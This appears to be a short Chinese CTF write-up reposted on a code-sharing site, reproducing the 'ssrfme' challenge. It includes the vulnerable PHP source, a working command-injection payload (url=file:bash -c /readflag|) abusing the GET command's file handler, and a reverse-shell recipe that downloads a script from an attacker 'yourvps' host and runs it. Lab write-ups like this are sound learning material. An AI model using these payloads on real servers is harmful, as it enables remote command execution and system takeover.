ssrfme 复现


这道题搞了我很长时间,主要太菜了,开始复现吧

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__); 

源码大概意思就是先创建一个关于ip的文件夹,然后执行exce 然后写入文件,就怎么简单

看了各种大佬的复现,我才勉强搞懂了

在这里可以直接遍历文件url=/ 然后filename就是输出后的文件

看到两个,但是不能直接读出来的。先要学习个姿势

所以我就理解成GET "file:{命令}|"  但是 这个命令必须bash -c

所以就有了url=file:bash%20-c%20/readflag|&filename=1111

还有一种方法就是 既然能命令执行就能反弹shell嘛

?url=http://yourvps/&filename=a
?url=&filename=bash a|
?url=file:bash a|&filename=xxx


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM